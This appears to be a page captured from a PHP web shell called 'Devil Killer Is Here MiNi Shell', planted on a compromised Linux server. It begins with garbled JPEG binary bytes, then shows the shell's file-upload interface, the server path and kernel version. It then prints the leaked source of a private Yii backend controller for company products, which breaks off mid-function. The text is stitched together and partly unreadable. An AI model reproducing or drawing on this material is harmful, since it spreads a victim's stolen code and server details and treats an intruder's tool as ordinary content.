JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/CompaniesproductsController.php

<?php

namespace backend\controllers;

use Yii;
use common\models\Products;
use common\models\Companies;
use common\models\ProductsCategories;
use common\models\ProductsPhotos;
use backend\models\ProductsSearch;
use backend\components\helpers\PresentationsHelper;
use common\models\PresentationsTabs;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;
use frontend\models\IndexProducts;
use frontend\models\IndexPresentations;
use common\models\types\UserChangeType;
use yii\caching\TagDependency;

/**
 * CompanieproductsController implements the CRUD actions for Products model.
 */
class CompaniesproductsController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    use \common\components\traits\ConvertImagesToWebpFunctions;
    
    /**
     * Lists all Products models.
     * @param integer $id
     * @return mixed
     */
    public function actionIndex($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if (!Yii::$app->user->can('viewCompaniesData', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $searchModel = new ProductsSearch();
        
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['ProductsSearch']['id_company'] = $modelCompany->id_company;
        
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelCompany' => $modelCompany
        ]);
    }
    
    /**
     * Lists all Products models.
     * @return mixed
     */
    public function actionIndexAll()
    {
        if (!Yii::$app->user->can('indexAllProducts')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $searchModel = new ProductsSearch();        
        $queryParams = Yii::$app->request->queryParams;
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index_all', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }

    /**
     * Displays a single Products model.
     * @param integer $id
     * @return mixed
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
        
        if (!Yii::$app->user->can('viewCompaniesData', ['model' => $model->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $categoriesByPortals = $portals = [];
        $modelsSelectedCategories = $model->getCategories()->orderBy('left')->all();
        
        if(!empty($modelsSelectedCategories)) {
            foreach($modelsSelectedCategories as $modelSelectedCategory) {
                $categoriesByPortals[$modelSelectedCategory->id_portal][] = implode(" >> ", array_map(function($item) { return $item->name; }, ProductsCategories::getCategoryPath($modelSelectedCategory)));
            }        
            $modelsPortals = \common\models\Portals::find()->where(['id_portal' => array_keys($categoriesByPortals)])->indexBy('id_portal')->all();            
            foreach($modelsPortals as $modelPortal) {
                $portals[$modelPortal->id_portal] = ['domain' => $modelPortal->domain, 'label' => empty($modelPortal->id_parent_portal) ? $modelPortal->name : $modelPortal->getSettingsKey('name_for_portals_group')];
            }
            unset($modelsPortals);
        }
        
        return $this->render('view', [
            'model' => $model,
            'portals' => $portals,
            'categoriesByPortals' => $categoriesByPortals
        ]);
    }

    /**
     * Creates a new Products model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate()
    {
        $model = new \backend\models\Products(['scenario' => 'create']);
        $modelCompany = $this->findModelCompany(intval(Yii::$app->request->get('id_company')));        
        $model->id_company = $modelCompany->id_company;
        
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsCompanyPresentations = $modelCompany->getPresentations()->with('portal')->all();
        $modelsProductPresentations = [];
        $categoriesTrees = [];
        if(!empty($modelsCompanyPresentations)) {
            foreach($modelsCompanyPresentations as $modelCompanyPresentation) { 
                $productsLimit = intval($modelCompanyPresentation->getSettingsKey('products_limit'));
                if($productsLimit < 1 || $productsLimit <= $modelCompanyPresentation->getProducts()->andWhere(['status' => \common\models\types\Status::ACTIVE])->count()) {
                    continue;
                }
                
                $idPortal = !empty($modelCompanyPresentation->portal->id_parent_portal) ? $modelCompanyPresentation->portal->id_parent_portal : $modelCompanyPresentation->portal->id_portal;
                if(!isset($categoriesTrees[$idPortal])) {
                    $categoriesTrees[$idPortal]['label'] = empty($modelCompanyPresentation->portal->id_parent_portal) ? $modelCompanyPresentation->portal->domain : $modelCompanyPresentation->portal->parentPortal->getSettingsKey('name_for_portals_group');
                    $categoriesTrees[$idPortal]['JSONCategories'] = ProductsCategories::getJSONCategoryTree($idPortal, $model->listCategories, true);
                }
                
                $modelProductPresentation = new \backend\models\ProductPresentationForm();
                $modelProductPresentation->setPresentation($modelCompanyPresentation);
                $modelProductPresentation->setProduct($model);
                $modelsProductPresentations[$modelCompanyPresentation->id_portal] = $modelProductPresentation;
            }
        }
        
        $model->listTags = [];
        
        $baseModelProductParam = new \backend\models\ProductParamForm();
        
        $modelsProductParams = [];
        
        if(Yii::$app->request->getIsPost()) {
            $postProductParams = Yii::$app->request->post('ProductParamForm', []);
            if(!empty($postProductParams)) {
                foreach($postProductParams as $key => $value) {
                    $modelsProductParams[$key] = new \backend\models\ProductParamForm();
                }
            }
        }
        
        $outputParams = [
            'model' => $model, 
            'categoriesTrees' => $categoriesTrees,
            'modelsProductPresentations' => $modelsProductPresentations,
            'modelsProductParams' => $modelsProductParams,
            'baseModelProductParam' => $baseModelProductParam,
            'modelCompany' => $modelCompany
        ];
        
        if(Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && (empty($modelsProductPresentations) || \yii\base\Model::loadMultiple($modelsProductPresentations, Yii::$app->request->post())) && (empty($modelsProductParams) || \yii\base\Model::loadMultiple($modelsProductParams, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_company', 'listTags']), !empty($modelsProductPresentations) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsProductPresentations, ['listCategories', 'productOrder']) : [], !empty($modelsProductParams) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsProductParams, ['name', 'value']) : []);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post()) || (!empty($modelsProductPresentations) && !\yii\base\Model::loadMultiple($modelsProductPresentations, Yii::$app->request->post())) || (!empty($modelsProductParams) && !\yii\base\Model::loadMultiple($modelsProductParams, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $nextIdProduct= Yii::$app->db->createCommand("SELECT nextval(pg_get_serial_sequence('products','id_product'))")->queryOne();
            if(!empty($nextIdProduct)) {
                $model->id_product = intval($nextIdProduct['nextval']);
            }
            else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd odczytu z bazy.'));
                return $this->render('create', $outputParams);
            }
            
            $model->loadImageFile();
            
            if(!empty($modelsProductParams)) {          
                if(!\yii\base\Model::validateMultiple($modelsProductParams)) {
                    $errorsFromModelsProductParams = [];
                    foreach($modelsProductParams as $modelProductParam) {
                        if($modelProductParam->hasErrors()) {
                            foreach($modelProductParam->getErrors() as $error) {
                                $errorsFromModelsProductParams[] = $error;
                            }
                        }
                    }

                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModelsProductParams);
                    return $this->render('create', $outputParams);
                }
                
                $productParams = [];
                foreach($modelsProductParams as $modelProductParam) {
                    $productParams[$modelProductParam->name] = ['name' => $modelProductParam->name, 'value' => $modelProductParam->value];
                }
//                $model->params = json_encode(array_values($productParams));
                $model->params = array_values($productParams); //#JSON-hack#
            }
                      
            if(!$model->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', $outputParams);
            }            
            
            if(!empty($modelsProductPresentations) && !\yii\base\Model::validateMultiple($modelsProductPresentations)) {                    
                $errorsFromModelsProductPresentations = [];
                foreach($modelsProductPresentations as $modelProductPresentation) {
                    if($modelProductPresentation->hasErrors()) {
                        foreach($modelProductPresentation->getErrors() as $error) {
                            $errorsFromModelsProductPresentations[] = $error;
                        }
                    }
                }

                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $errorsFromModelsProductPresentations);
                return $this->render('create', $outputParams);
            }
            
            $newImagePath = $model->saveImageFile();
            if($newImagePath === false) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->render('create', $outputParams);
            }       
            
            $flag = $model->save(false);
            $flag = $flag && $model->saveTags(); 
            if($flag) {
                list($flag, $idsSelectedPortals) = $model->saveCategories(); 
            }            
            
            if($flag && !empty($modelsProductPresentations)) {
                foreach($modelsProductPresentations as $modelProductPresentation) {
                    $idPortalTemp = empty($modelProductPresentation->getPresentation()->portal->id_parent_portal) ? $modelProductPresentation->getPresentation()->id_portal : $modelProductPresentation->getPresentation()->portal->id_parent_portal;
                    if(in_array($idPortalTemp, $idsSelectedPortals)) {
                        $modelProductPresentation->setAsSelectedAnyCategory();
                    }
                    if(!$modelProductPresentation->save()) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if($flag && !empty($modelsProductPresentations)) {
//                $savedModelsGoogleIndexingUrls = [];
                foreach($modelsProductPresentations as $modelProductPresentation) {
                    if(!$modelProductPresentation->orSelectedAnyCategory() || $modelProductPresentation->getPresentation()->status !== \common\models\types\Status::ACTIVE) {
                        continue;
                    }
                    
                    list($flag, $lastInsertedModel) = \backend\components\helpers\GoogleIndexingHelper::createEntryForProduct($model, $modelProductPresentation->getPresentation()->portal);
                    if(!$flag) {
                        break;
                    }
                    
//                    $url = Yii::$app->params['webProtocol'].'://www.'.$modelProductPresentation->getPortalDomain().'/produkty/szczegoly/'.$model->id_product.'_'.\frontend\components\helpers\SlugGenerator::generate($model->name);
//            
//                    $modelGoogleIndexingUrl = new \common\models\GoogleIndexingUrls();
//                    $modelGoogleIndexingUrl->url = $url;
//                    $modelGoogleIndexingUrl->id_portal = intval($modelProductPresentation->getIdPortal());
//                    $modelGoogleIndexingUrl->source_type = \common\models\GoogleIndexingUrls::TYPE_PRODUCT;
//                    $modelGoogleIndexingUrl->source_id = (string)$model->id_product;
//
//                    if($modelGoogleIndexingUrl->save()) {
//                        $savedModelsGoogleIndexingUrls[] = $modelGoogleIndexingUrl;
//                    } else {
//                        if(!empty($savedModelsGoogleIndexingUrls)) {
//                            foreach($savedModelsGoogleIndexingUrls as $savedModelGoogleIndexingUrl) {
//                                $savedModelGoogleIndexingUrl->delete();
//                            }
//                        }
//                        $flag = false;
//                        break;
//                    }
                }
            }
            
            $flag = $flag && IndexProducts::refreshRecord($model->id_product); 
            if ($flag) {
                //@todo tutaj dopisać funkcję wprowadzającą korekty do stanu słownika parametrów produktów
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                
                $cacheTags = ['product_'.$model->id_product];
                if(!empty($modelsCompanyPresentations)) {
                    foreach($modelsCompanyPresentations as $modelCompanyPresentation) {
                        $cacheTags[] = 'extended_menu_products_portal_'.$modelCompanyPresentation->id_portal;
                        $cacheTags[] = 'mainpage_box_products_portal_'.$modelCompanyPresentation->id_portal;
                        PresentationsHelper::refreshTabsActivityStatus($modelCompanyPresentation->id_presentation, [PresentationsTabs::TAB_PRODUCTS_AND_SERVICES]);
                        IndexPresentations::refreshRecord($modelCompanyPresentation->id_presentation);
                    }
                }
                $this->createEntryForUserChange(UserChangeType::PRODUCT_ADDED, $model->id_product, $model->id_company);
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);                
                return $this->redirect(['update', 'id' => $model->id_product]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                if(!empty($newImagePath)) {
                    @unlink($newImagePath);
                }
            }
        }

        return $this->render('create', $outputParams);
    }

    /**
     * Updates an existing Products model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {
        $model = $this->findModel($id);
        $model->setScenario('update');
        
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $model->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsCompanyPresentations = $model->company->getPresentations()->with('portal')->all();
        $relationsWithPresentations = $model->getRelationsWithPresentations()->indexBy('id_presentation')->all();
        $modelsProductPresentations = [];
        
        $categoriesTrees = [];
        foreach($modelsCompanyPresentations as $modelCompanyPresentation) {
            $productsLimit = intval($modelCompanyPresentation->getSettingsKey('products_limit'));
            $numberOfAssignedProducts = $modelCompanyPresentation->getProducts()->andWhere(['status' => \common\models\types\Status::ACTIVE])->count();
            if($productsLimit < 1 || (isset($relationsWithPresentations[$modelCompanyPresentation->id_presentation]) && $productsLimit < $numberOfAssignedProducts) || (!isset($relationsWithPresentations[$modelCompanyPresentation->id_presentation]) && $productsLimit <= $numberOfAssignedProducts)) {
                continue;
            }
            
            $idPortal = !empty($modelCompanyPresentation->portal->id_parent_portal) ? $modelCompanyPresentation->portal->id_parent_portal : $modelCompanyPresentation->portal->id_portal;
            if(!isset($categoriesTrees[$idPortal])) {
                $categoriesTrees[$idPortal]['label'] = empty($modelCompanyPresentation->portal->id_parent_portal) ? $modelCompanyPresentation->portal->domain : $modelCompanyPresentation->portal->parentPortal->getSettingsKey('name_for_portals_group');
                $categoriesTrees[$idPortal]['JSONCategories'] = ProductsCategories::getJSONCategoryTree($idPortal, $model->listCategories, true);
            }
            
            $modelsProductPresentations[$modelCompanyPresentation->id_portal] = (new \backend\models\ProductPresentationForm())
                    ->setPresentation($modelCompanyPresentation)->setProduct($model);
            if(isset($relationsWithPresentations[$modelCompanyPresentation->id_presentation])) {
                $modelsProductPresentations[$modelCompanyPresentation->id_portal]->productOrder = $relationsWithPresentations[$modelCompanyPresentation->id_presentation]->product_order;
                $modelsProductPresentations[$modelCompanyPresentation->id_portal]->setAsExistInDb();
            }
        }
        
        $baseModelProductParam = new \backend\models\ProductParamForm();
        
        $modelsProductParams = [];
        if(Yii::$app->request->getIsPost()) {
            $postProductParams = Yii::$app->request->post('ProductParamForm', []);
            if(!empty($postProductParams)) {
                foreach($postProductParams as $key => $value) {
                    if(!isset($modelsProductParams[$key])) {
                        $modelsProductParams[$key] = new \backend\models\ProductParamForm();
                    }
                }
            }
        } elseif(!empty($model->decodedParams)) {
            foreach($model->decodedParams as $key => $decodedParam) {
                $modelsProductParams[$key] = new \backend\models\ProductParamForm(['name' => $decodedParam['name'], 'value' => $decodedParam['value']]);
            }
        }
        
        $dataProviderAttachments = new \yii\data\ActiveDataProvider([
            'query' => $model->getAttachments()->orderBy('attachment_order'),
            'pagination' => false,
            'sort' => false
        ]);
        
        $dataProviderPhotos = new \yii\data\ActiveDataProvider([
            'query' => $model->getPhotos()->orderBy('photo_order'),
            'pagination' => false,
            'sort' => false
        ]);
        
        $outputParams = [
            'model' => $model, 
            'categoriesTrees' => $categoriesTrees,
            'modelsProductPresentations' => $modelsProductPresentations,
            'modelsProductParams' => $modelsProductParams,
            'baseModelProductParam' => $baseModelProductParam,
            'dataProviderAttachments' => $dataProviderAttachments,
            'dataProviderPhotos' => $dataProviderPhotos,
            'orFindImagesCopies' => Yii::$app->user->can('convertContentImagesToWebpForProducts') ? $this->checkIfExistsAnyImagesCopiesFromConvertingToWebp([$model->description]) : false
        ];
        
        if(Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && (empty($modelsProductPresentations) || \yii\base\Model::loadMultiple($modelsProductPresentations, Yii::$app->request->post())) && (empty($modelsProductParams) || \yii\base\Model::loadMultiple($modelsProductParams, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_company', 'listTags', 'listCategories']), !empty($modelsProductPresentations) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsProductPresentations, ['productOrder']) : [], !empty($modelsProductParams) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsProductParams, ['name', 'value']) : []);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            $oldStatus = $model->status;
            if(!$model->load(Yii::$app->request->post()) || (!empty($modelsProductPresentations) && !\yii\base\Model::loadMultiple($modelsProductPresentations, Yii::$app->request->post())) || (!empty($modelsProductParams) && !\yii\base\Model::loadMultiple($modelsProductParams, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('update', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $oldImagePath = $model->loadImageFile();
            
            $productParams = [];
            if(!empty($modelsProductParams)) {          
                if(!\yii\base\Model::validateMultiple($modelsProductParams)) {
                    $errorsFromModelsProductParams = [];
                    foreach($modelsProductParams as $modelProductParam) {
                        if($modelProductParam->hasErrors()) {
                            foreach($modelProductParam->getErrors() as $error) {
                                $errorsFromModelsProductParams[] = $error;
                            }
                        }
                    }

                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModelsProductParams);
                    return $this->render('update', $outputParams);
                }
                
                foreach($modelsProductParams as $modelProductParam) {
                    if(!empty($modelProductParam->name) && !empty($modelProductParam->value)) {
                        $productParams[$modelProductParam->name] = ['name' => $modelProductParam->name, 'value' => $modelProductParam->value];
                    }
                }                
            } 
//            $model->params = json_encode(array_values($productParams));
            $model->params = array_values($productParams); //#JSON-hack#
                      
            if(!$model->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('update', $outputParams);
            }            
            
            if(!empty($modelsProductPresentations) && !\yii\base\Model::validateMultiple($modelsProductPresentations)) {                    
                $errorsFromModelsProductPresentations = [];
                foreach($modelsProductPresentations as $modelProductPresentation) {
                    if($modelProductPresentation->hasErrors()) {
                        foreach($modelProductPresentation->getErrors() as $error) {
                            $errorsFromModelsProductPresentations[] = $error;
                        }
                    }
                }

                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $errorsFromModelsProductPresentations);
                return $this->render('update', $outputParams);
            }
            
            $newImagePath = $model->saveImageFile();
            if($newImagePath === false) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->render('update', $outputParams);
            }       
            
            $idsSelectedPortals = [];
            $flag = $model->save(false);
            $flag = $flag && $model->saveTags();
            if($flag) {
                list($flag, $idsSelectedPortals) = $model->saveCategories(); 
            }
            
            if($flag && !empty($modelsProductPresentations)) {
                foreach($modelsProductPresentations as $modelProductPresentation) {
                    $idPortalTemp = empty($modelProductPresentation->getPresentation()->portal->id_parent_portal) ? $modelProductPresentation->getPresentation()->id_portal : $modelProductPresentation->getPresentation()->portal->id_parent_portal;
                    if(in_array($idPortalTemp, $idsSelectedPortals)) {
                        $modelProductPresentation->setAsSelectedAnyCategory();
                    }
                    if(!$modelProductPresentation->save()) {
                        $flag = false;
                        break;
                    } 
                }
            }
            
            if($flag && !empty($modelsProductPresentations)) {
                foreach($modelsProductPresentations as $modelProductPresentation) {
                    if(!$modelProductPresentation->orSelectedAnyCategory() || $modelProductPresentation->getPresentation()->status !== \common\models\types\Status::ACTIVE || $modelProductPresentation->existInDb()) {
                        continue;
                    }
                    
                    list($flag, $lastInsertedModel) = \backend\components\helpers\GoogleIndexingHelper::createEntryForProduct($model, $modelProductPresentation->getPresentation()->portal);
                    if(!$flag) {
                        break;
                    }
                }
            }

            if($flag && $oldStatus !== \common\models\types\Status::ACTIVE && $model->status === \common\models\types\Status::ACTIVE) {
                $flag = $this->detachFromPresentationsIfExceedsLimit($model);
            }
            
            $flag = $flag && IndexProducts::refreshRecord($model->id_product); 
            if ($flag) {
                if(!empty($oldImagePath)) {
                    Products::deleteImage($oldImagePath);
                }
                
                //@todo tutaj dopisać funkcję wprowadzającą korekty do stanu słownika parametrów produktów
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));                 
                $cacheTags = ['product_'.$model->id_product];
                if(!empty($modelsCompanyPresentations)) {
                    foreach($modelsCompanyPresentations as $modelCompanyPresentation) {
                        $cacheTags[] = 'extended_menu_products_portal_'.$modelCompanyPresentation->id_portal;
                        $cacheTags[] = 'mainpage_box_products_portal_'.$modelCompanyPresentation->id_portal;                        
                        PresentationsHelper::refreshTabsActivityStatus($modelCompanyPresentation->id_presentation, [PresentationsTabs::TAB_PRODUCTS_AND_SERVICES]);
                        IndexPresentations::refreshRecord($modelCompanyPresentation->id_presentation);
                    }
                }
                $idsPortalsWithTopProduct = $model->getRelationsWithPortalsWhereIsPromoted()
                    ->select(['id_portal'])
                    ->andWhere(['promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT])
                    ->column();
                if(!empty($idsPortalsWithTopProduct)) {
                    foreach($idsPortalsWithTopProduct as $idPortal) {
                        $cacheTags[] = 'mainpage_box_top_products_portal_'.$idPortal;
                    }
                }
                $this->createEntryForUserChange(UserChangeType::PRODUCT_MODIFIED, $model->id_product, $model->id_company);
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                return $this->redirect(['update', 'id' => $model->id_product]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                if(!empty($newImagePath)) {
                    @unlink($newImagePath);
                }
            }
        }

        return $this->render('update', $outputParams);
    }
    
    public function actionConvertContentImagesToWebp($id)
    {
        if (!Yii::$app->user->can('convertContentImagesToWebpForProducts')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if (($model = \common\models\Products::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        } 
        
        $model->setScenario('update');

        list($orChangedModel, $processedContents, $newFilesPathes, $oldFilesPathesForRename) = $this->convertImagesToWebpFromContents([$model->description]);
        
        if($orChangedModel) {
            $model->description = $processedContents[0];
            
            $transaction = Yii::$app->db->beginTransaction();
        
            $flag = $model->save(false);
            $flag = $flag && IndexProducts::refreshRecord($model->id_product); 
            
            if($flag) {
                $transaction->commit();
                if(!empty($oldFilesPathesForRename)) {
                    foreach($oldFilesPathesForRename as $oldFilePath => $newFilePath) {
                        rename($oldFilePath,  $newFilePath);
                    }
                }      
                TagDependency::invalidate(Yii::$app->frontendCache, ['product_'.$model->id_product]);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
            } else {
                $transaction->rollBack();
                if(!empty($newFilesPathes)) {
                    foreach($newFilesPathes as $newFilePath) {
                        @unlink($newFilePath);
                    }
                }            
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }        
        } else {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
        }
        
        return $this->redirect(['update', 'id' => $model->id_product]);
    }
    
    public function actionRemoveOldImagesAfterConvertionToWebp($id)
    {
        if (!Yii::$app->user->can('convertContentImagesToWebpForProducts')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if (($model = \common\models\Products::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
  
        $flag = $this->removeImagesCopiesFromContents([$model->description]);
        if($flag) {        
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
        } else {           
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
        } 
        
        return $this->redirect(['update', 'id' => $model->id_product]);
    }

    /**
     * Updates updated_at column for specified Products model .
     * If update is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionMarkAsVerified($id)
    {
        $model = $this->findModel($id);
        
        if (!Yii::$app->user->can('markingProductsAsVerified')) {
